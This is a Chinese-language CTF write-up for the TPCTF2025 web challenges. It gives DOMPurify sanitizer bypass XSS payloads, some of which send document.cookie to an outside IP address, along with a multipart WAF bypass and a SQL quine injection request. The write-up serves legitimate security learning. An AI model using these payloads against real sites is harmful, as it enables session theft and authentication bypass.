TPCTF2025 -Web Writeup
web
baby_layout
有一个生成layout的界面,生成layout后可以提交一个post,post的内容会替换掉layout中的{{content}}字符。然后可以给把生成的post链接发给bot来check,源码中写了bot的cookie就是flag。所以思路很简单,就是通过xss外带flag。
用DOMPurity3.2.4最新版,过滤了layout、content的值,核心代码如下:
DOMPurify.sanitize(content)
DOMPurify.sanitize(layout)
在网上找到一篇可以利用混淆命名空间绕过DOMPurify实现XSS的文章,而且这并不是特定浏览器的bug,直接来自于HTML规范
https://www.anquanke.com/post/id/219089
<form><math><mtext><form><mglyph><style></math><img src onerror=alert(1)></style></mglyph></form></mtext></math></form>
修改上面的payload,结合题目拼接绕过
content:
" onerror=window.location="http://20.243.255.185:2333/1.php?cookie="+encodeURIComponent(document.cookie) hrer="
layout:
<form><a><mtext><form><mglyph><div></a><img src={{content}}></div></mglyph></form></mtext></math></form>
safe_layout
这题和上题差不多
DOMPurify.sanitize(content, {ALLOWED_ATTR: [], });
但不再允许任何属性,但实际上DOMPurify.sanitize还有一个配置
ALLOW_ARIA_ATTR: ,
ALLOW_DATA_ATTR: ,
这两个配置默认允许data-*、aria-这些属性存在,因为它们通常是无害的,所以可以利用data-、aria-*来构造payload
content:
" onerror=window.location="http://20.243.255.185:2333/1.php?cookie="+encodeURIComponent(document.cookie) hrer="
layout:
<form><a><mtext><form><mglyph><div></a><img data-id={{content}}></div></mglyph></form></mtext></math></form>
safe_layout_revenge
最严格的过滤
DOMPurify.sanitize(content, {
ALLOWED_ATTR: [],
ALLOW_ARIA_ATTR: false,
ALLOW_DATA_ATTR: false,
});
整体思路是采用 style 绕过,测试发现当 style 标签前面跟上一些字符时,style 内部的元素可能会得以保留,故这里采用的是删除策略,把 xss 的 payload 构造好后,把 script 标签插入 content,在第二次 post 的时候删除就行
content:
layout:
s<style><{{content}}/style><<{{content}}script>location.href=\"http://xxx.xxx.xxx.xxx:xxxx?flag=\"+document.cookie;<{{content}}/script>test</style>
supersqli
需要满足 password == 查询结果第一条的第三个属性
go 写了个 waf ,卡的很死,绕不过去
但可以将请求体改成 POST 数据包,password 字段用下面这种方式传
------WebKitFormBoundaryt3GACwTMcq5T25tu
Content-Disposition: form-data; name="password"; filename="xxx"
Content-Disposition: form-data; name="password"
password的值
------WebKitFormBoundaryt3GACwTMcq5T25tu--
解释:将 password 解析为文件 => 绕过 waf 中 key, values 的提取 => 不进入 waf 检测
django 的 raw 原生查询只能用 SELECT,且没有回显,blog_adminuser 里面没有数据
因此构造 sql 时的思路就是使输入和输出一致——Quine注入
' union select 1,2,replace(replace('" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--',char(34),char(39)),char(46),'" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--')--
参考文章:https://cloud.tencent.com/developer/article/2287111
payload:
POST /flag/ HTTP/1.1
Host: 1.95.159.113
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryttest
Content-Length: 242
------WebKitFormBoundaryttest
Content-Disposition: form-data; name="username"
admin
------WebKitFormBoundaryttest
Content-Disposition: form-data; name="password"; filename="hash"
Content-Disposition: form-data; name="password"
' union select 1,2,replace(replace('" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--',char(34),char(39)),char(46),'" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--')--
------WebKitFormBoundaryttest--